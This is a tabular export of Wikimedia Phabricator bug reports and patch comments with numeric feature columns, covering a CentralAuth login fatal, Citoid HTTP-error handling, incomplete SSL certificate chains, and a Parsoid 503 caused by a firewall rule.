[[https://gerrit.wikimedia.org/r/204281]]",,,1429112717,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qrefg3pik2zjm224t4aj,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.05,0.9,"Change 204281 merged by jenkins-bot:
Fix fatals in LoginUserMigrated hook

[[GERRIT_URL]]"
444074,"LoginUserMigrated hook causing Fatal Error: Argument 1 passed to CentralAuthUser::getInstance() must be an instance of User, bool given","Change 204281 had a related patch set uploaded (by Chad):
Fix fatals in LoginUserMigrated hook

[[https://gerrit.wikimedia.org/r/204281]]
",,,1429111480,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qrefg3pik2zjm224t4aj,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.92,0.88,"Change 204281 had a related patch set uploaded (by Chad):
Fix fatals in LoginUserMigrated hook

[[GERRIT_URL]]
"
444073,"LoginUserMigrated hook causing Fatal Error: Argument 1 passed to CentralAuthUser::getInstance() must be an instance of User, bool given","Change 204278 merged by jenkins-bot:
Fix fatals in LoginUserMigrated hook

[[https://gerrit.wikimedia.org/r/204278]]",,,1429111386,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qrefg3pik2zjm224t4aj,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.05,0.9,"Change 204278 merged by jenkins-bot:
Fix fatals in LoginUserMigrated hook

[[GERRIT_URL]]"
444068,"LoginUserMigrated hook causing Fatal Error: Argument 1 passed to CentralAuthUser::getInstance() must be an instance of User, bool given","Change 204278 had a related patch set uploaded (by Legoktm):
Fix fatals in LoginUserMigrated hook

[[https://gerrit.wikimedia.org/r/204278]]
",,,1429110907,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qrefg3pik2zjm224t4aj,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.04,0.88,"Change 204278 had a related patch set uploaded (by Legoktm):
Fix fatals in LoginUserMigrated hook

[[GERRIT_URL]]
"
88897,"When http error is encountered by citefromurl dialog, dialog stays pending and cancel button does not work.","Basically if citoid isn't running, and you try to insert a url, the dialog stays pending indefinitely and the cancel button doesn't work.

So, previously I dealt with this bug by stopping the dialog pending directly in the error case of the request, even though it was also in always. The ""always"" case doesn't seem to be working here. 

I remember in code review though we took that out (because it was in always and should have been working) and I seem to remember testing it at the time and not finding a problem, but I might have been mistaken. 

Ed, any ideas? I'll probably patch this in the meantime by putting the push pending back in the error condition, but it seems hacky. ",Unbreak Now!,100.0,1423322226,1423508906.0,PHID-USER-evd3wnvnlb66lrwulch4,False,PHID-USER-evd3wnvnlb66lrwulch4,False,PHID-TASK-fi4deicthett2lbdrmyw,task_description,resolved,True,c3,1,True,True,True,-21,True,0.5,0.0,0.0,0.5,2.0,0.5,1.0,0.5,1.0,0.5,3.5,2.0,0.0,0.0,0.0,3.5,0.0,9.0,11.5,0.0,1.5,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.5,1.0,4.5,2.0,2.5,0.0,0.5,2.0,0.0,0.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,3.5,5.0,2.5,4.5,9.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,6.5,11.5,0.5,0.5,1.0,0.0,6.5,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,3.7905405405405403,0.722972972972973,"Basically if citoid isn't running, and you try to insert a url, the dialog stays pending indefinitely and the cancel button doesn't work.

So, previously I dealt with this bug by stopping the dialog pending directly in the error case of the request, even though it was also in always. The ""always"" case doesn't seem to be working here. 

I remember in code review though we took that out (because it was in always and should have been working) and I seem to remember testing it at the time and not finding a problem, but I might have been mistaken. 

Ed, any ideas? I'll probably patch this in the meantime by putting the push pending back in the error condition, but it seems hacky. "
408775,"When http error is encountered by citefromurl dialog, dialog stays pending and cancel button does not work.","Change 189207 merged by jenkins-bot:
Fix: Switch to promise-based citoid requests

[[https://gerrit.wikimedia.org/r/189207]]",,,1423504866,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fi4deicthett2lbdrmyw,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.6666666666666665,0.8333333333333334,"Change 189207 merged by jenkins-bot:
Fix: Switch to promise-based citoid requests

[[GERRIT_URL]]"
408206,"When http error is encountered by citefromurl dialog, dialog stays pending and cancel button does not work.","Change 189207 had a related patch set uploaded (by Glaisher):
Fix: Add popPending to error case

[[https://gerrit.wikimedia.org/r/189207]]

#patch-for-review",,,1423322865,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fi4deicthett2lbdrmyw,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.515151515151515,0.8484848484848485,"Change 189207 had a related patch set uploaded (by Glaisher):
Fix: Add popPending to error case

[[GERRIT_URL]]

#patch-for-review"
408202,"When http error is encountered by citefromurl dialog, dialog stays pending and cancel button does not work.","Change 189207 had a related patch set uploaded (by Mvolz):
Bug T88897 Fix: Add popPending to error case

[[https://gerrit.wikimedia.org/r/189207]]

#patch-for-review",,,1423322468,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fi4deicthett2lbdrmyw,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.4857142857142858,0.8571428571428571,"Change 189207 had a related patch set uploaded (by Mvolz):
Bug T88897 Fix: Add popPending to error case

[[GERRIT_URL]]

#patch-for-review"
88884,Citoid doesn't care about HTTP errors at all,"For these URLs, Citoid ignores the HTTP errors:
http://www.google.com/soyouthinkthispagereallyexistsright?
http://example.com/404
http://httpstat.us/403",Unbreak Now!,100.0,1423281510,1423494818.0,PHID-USER-scigxlexgozrr4ej5mm5,False,PHID-USER-evd3wnvnlb66lrwulch4,False,PHID-TASK-3bmu3pmssxyuuxb262pu,task_description,resolved,True,c3,1,False,False,True,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,44.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,0.75,"For these URLs, Citoid ignores the HTTP errors:
URL
URL
URL"
408230,Citoid doesn't care about HTTP errors at all,"Change 189201 merged by jenkins-bot:
Bug fixes: fix status response codes

[[https://gerrit.wikimedia.org/r/189201]]",,,1423329762,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3bmu3pmssxyuuxb262pu,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.6363636363636362,0.8636363636363636,"Change 189201 merged by jenkins-bot:
Bug fixes: fix status response codes

[[GERRIT_URL]]"
408192,Citoid doesn't care about HTTP errors at all,"Change 189201 had a related patch set uploaded (by Mvolz):
Bug fixes: fix status response codes

[[https://gerrit.wikimedia.org/r/189201]]

#patch-for-review",,,1423318067,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3bmu3pmssxyuuxb262pu,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.515151515151515,0.8484848484848485,"Change 189201 had a related patch set uploaded (by Mvolz):
Bug fixes: fix status response codes

[[GERRIT_URL]]

#patch-for-review"
88507,The certificate chains of newly installed SHA256 certificates are incomplete.,"The following servers don't send the intermediate certificate: RapidSSL SHA256 CA - G3. It can be downloaded from http://gv.symcb.com/gv.crt.

[X] rt.wikimedia.org
[X] wikitech-static.wikimedia.org
[X] etherpad.wikimedia.org

[1] https://www.ssllabs.com/ssltest/analyze.html?d=rt.wikimedia.org
[2] https://www.ssllabs.com/ssltest/analyze.html?d=wikitech-static.wikimedia.org
[3] https://www.ssllabs.com/ssltest/analyze.html?d=etherpad.wikimedia.org",Unbreak Now!,100.0,1423021708,1423066255.0,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-USER-xwxce3kpvsv54t735g7q,False,PHID-TASK-u3k54x4p2oyfxioaycn6,task_description,resolved,True,c3,1,True,False,True,-22,True,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,23.0,3.8653846153846154,0.6346153846153846,"The following servers don't send the intermediate certificate: RapidSSL SHA256 CA - G3. It can be downloaded from URL

[X] rt.wikimedia.org
[X] wikitech-static.wikimedia.org
[X] etherpad.wikimedia.org

[1] URL
[2] URL
[3] URL"
407050,The certificate chains of newly installed SHA256 certificates are incomplete.,"This is a myth. ""RapidSSL SHA256 CA - G3"" is definitely SHA256. The other intermediate is for compatibility with older clients such as XP/Server 2003 (but note that XP has root certificate update enabled by default).",,,1423118712,,PHID-USER-hrvupzlywpxut735kzuq,False,,,PHID-TASK-u3k54x4p2oyfxioaycn6,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,18.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,22.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,11.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.022222222222222,0.8444444444444444,"This is a myth. ""RapidSSL SHA256 CA - G3"" is definitely SHA256. The other intermediate is for compatibility with older clients such as XP/Server 2003 (but note that XP has root certificate update enabled by default)."
406686,The certificate chains of newly installed SHA256 certificates are incomplete.,"it seems etherpad was fixed when rt was fixed (same system, and now pulling the cert with openssl shows proper intermediary.)",,,1423069519,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-u3k54x4p2oyfxioaycn6,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,8.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.2,0.92,"it seems etherpad was fixed when rt was fixed (same system, and now pulling the cert with openssl shows proper intermediary.)"
406680,The certificate chains of newly installed SHA256 certificates are incomplete.,"URGH, so even the replacement intermediary isnt really SHA256.  I apologize, I should have caught this issue at the time of replacement!

I'll go through and point the right intermediary cert at the systems I've upgraded the rapidssl certs on, however the end result now is since the intermediary is still sha1 (for sha256 certs, nice rapidssl), we'll need to replace the certs outright in the long run.",,,1423068814,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-u3k54x4p2oyfxioaycn6,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,6.0,0.0,10.0,12.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,7.0,2.0,1.0,12.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,5.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.011904761904762,0.6904761904761905,"URGH, so even the replacement intermediary isnt really SHA256.  I apologize, I should have caught this issue at the time of replacement!

I'll go through and point the right intermediary cert at the systems I've upgraded the rapidssl certs on, however the end result now is since the intermediary is still sha1 (for sha256 certs, nice rapidssl), we'll need to replace the certs outright in the long run."
406659,The certificate chains of newly installed SHA256 certificates are incomplete.,I managed to fix wikitech-static as well (albeit manually). Why does it even have HTTPS support btw ? Resolving,,,1423066255,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-u3k54x4p2oyfxioaycn6,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,4.0,4.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.875,1.0,I managed to fix wikitech-static as well (albeit manually). Why does it even have HTTPS support btw ? Resolving
406645,The certificate chains of newly installed SHA256 certificates are incomplete.,"Change 188562 merged by Alexandros Kosiaris:
Provision the RapidSSL_SHA256_CA_-_G3 CA

[[https://gerrit.wikimedia.org/r/188562]]",,,1423063814,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u3k54x4p2oyfxioaycn6,task_subcomment,,True,c3,1,False,,,-22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,39.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,5.166666666666667,0.8888888888888888,"Change 188562 merged by Alexandros Kosiaris:
Provision the RapidSSL_SHA256_CA_-_G3 CA

[[GERRIT_URL]]"
406640,The certificate chains of newly installed SHA256 certificates are incomplete.,"Change 188562 had a related patch set uploaded (by Alexandros Kosiaris):
Provision the RapidSSL_SHA256_CA_-_G3 CA

[[https://gerrit.wikimedia.org/r/188562]]

#patch-for-review",,,1423063491,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u3k54x4p2oyfxioaycn6,task_subcomment,,True,c3,1,False,,,-22,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,23.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.354838709677419,0.8387096774193549,"Change 188562 had a related patch set uploaded (by Alexandros Kosiaris):
Provision the RapidSSL_SHA256_CA_-_G3 CA

[[GERRIT_URL]]

#patch-for-review"
406624,The certificate chains of newly installed SHA256 certificates are incomplete.,This broke the RT mail gateway as evidenced in https://gerrit.wikimedia.org/r/#/c/188553/,,,1423061166,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-u3k54x4p2oyfxioaycn6,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,30.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.1,1.0,This broke the RT mail gateway as evidenced in URL
86951,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503","Getting this error while trying to load any page in Betalabs
Error loading data from server: 503: parsoidserver-http: HTTP 503

{F28851}",Unbreak Now!,100.0,1421350613,1421472826.0,PHID-USER-24djtv3gj5gua2y6u2g5,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-xpjbzjy6efwi4l73tobu,task_description,resolved,True,c3,1,False,False,True,-24,True,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.933333333333333,0.9,"Getting this error while trying to load any page in Betalabs
Error loading data from server: 503: parsoidserver-http: HTTP 503

{F28851}"
401129,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503",">>! In T86951#983620, @yuvipanda wrote:
> To unify prod and beta again, we'll have to either: add base::firewall to parsoid hosts or remove them from beta. I'll discuss this inside ops and remember to keep track.

T87105
",,,1421519984,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.6666666666666666,"QUOTE
QUOTE

T87105
"
401030,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503","After some more digging...

https://gerrit.wikimedia.org/r/#/c/185428/ removed the ferm rule from parsoid, because prod parsoid hosts don't have base::firewall included, and we thought we hada removed all vestiges of base::firewall from beta with T86143. However, it turns out that base::firewall is included by contint::firewall::labs which is included by role::ci::slave::labs::common, on parsoid as well as other *oid hosts on betalabs. So that commit actually broke them all, which is sad. To unify prod and beta again, we'll have to either: add base::firewall to parsoid hosts or remove them from beta. I'll discuss this inside ops and remember to keep track.

I've fixed this now by just adding a common ferm rule to all parsoid hosts opening up port 8000. I'm also adding monitoring now to all *oid hosts to make sure they are still accessible (T87063)",,,1421472826,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,3.0,0.0,0.0,1.0,0.5,6.5,1.0,0.5,0.0,0.0,1.5,3.0,0.0,0.0,0.0,3.5,0.5,8.0,13.0,0.0,2.5,0.0,0.5,0.0,2.0,0.5,0.0,0.5,0.0,1.5,0.5,5.0,1.0,0.5,2.0,0.0,0.0,0.5,0.0,1.0,0.0,2.0,2.0,0.0,1.0,0.5,0.0,0.0,0.0,13.5,0.5,2.0,0.5,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,1.0,0.0,0.5,0.0,0.5,0.0,1.0,2.0,5.5,1.0,2.5,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,6.0,13.0,3.0,0.0,0.0,0.0,6.0,0.0,1.0,0.5,1.0,3.0,0.5,0.0,0.0,4.33006329113924,0.729746835443038,"After some more 